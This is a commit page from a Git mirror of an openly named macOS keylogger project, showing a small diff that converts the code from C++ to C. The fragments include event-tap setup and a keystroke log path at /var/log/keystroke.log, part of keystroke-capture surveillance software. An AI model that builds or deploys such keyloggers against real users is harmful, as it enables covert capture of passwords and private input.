1
0
mirror of https://github.com/caseyscarborough/keylogger.git synced 2020-11-18 19:53:40 -08:00

Change to C, as no C++ functionality is being used.

This commit is contained in:
Casey Scarborough 2013-09-16 21:06:11 -04:00
parent 2b436090b6
commit 025d2d9c6b
3 changed files with 6 additions and 8 deletions

View File

@ -1,6 +1,6 @@
CC=g++ CC=gcc
CFLAGS=-framework ApplicationServices -framework Carbon CFLAGS=-framework ApplicationServices -framework Carbon
SOURCES=keylogger.cpp keylogger.h SOURCES=keylogger.c keylogger.h
EXECUTABLE=keylogger EXECUTABLE=keylogger
INSTALLDIR=/usr/local/bin INSTALLDIR=/usr/local/bin

View File

@ -10,7 +10,7 @@ int main(int argc, const char *argv[]) {
// Exit the program if unable to create the event tap. // Exit the program if unable to create the event tap.
if(!eventTap) { if(!eventTap) {
cout << "Unable to create event tap.\n" << endl; printf("Unable to create event tap.\n");
exit(1); exit(1);
} }
@ -28,7 +28,8 @@ int main(int argc, const char *argv[]) {
fflush(logfile); fflush(logfile);
// Display the location of the logfile and start the loop. // Display the location of the logfile and start the loop.
cout << "Logging to: " << logfileLocation << endl; printf("Logging to: %s\n", logfileLocation);
fflush(stdout);
CFRunLoopRun(); CFRunLoopRun();
return 0; return 0;

View File

@ -1,15 +1,12 @@
#ifndef __KEYLOGGER_H__ #ifndef __KEYLOGGER_H__
#define __KEYLOGGER_H__ #define __KEYLOGGER_H__
#include <iostream>
#include <stdio.h> #include <stdio.h>
#include <ctime> #include <time.h>
#include <ApplicationServices/ApplicationServices.h> #include <ApplicationServices/ApplicationServices.h>
#include <Carbon/Carbon.h> #include <Carbon/Carbon.h>
// https://developer.apple.com/library/mac/documentation/Carbon/Reference/QuartzEventServicesRef/Reference/reference.html // https://developer.apple.com/library/mac/documentation/Carbon/Reference/QuartzEventServicesRef/Reference/reference.html
using namespace std;
FILE *logfile = NULL; FILE *logfile = NULL;
const char *logfileLocation = "/var/log/keystroke.log"; const char *logfileLocation = "/var/log/keystroke.log";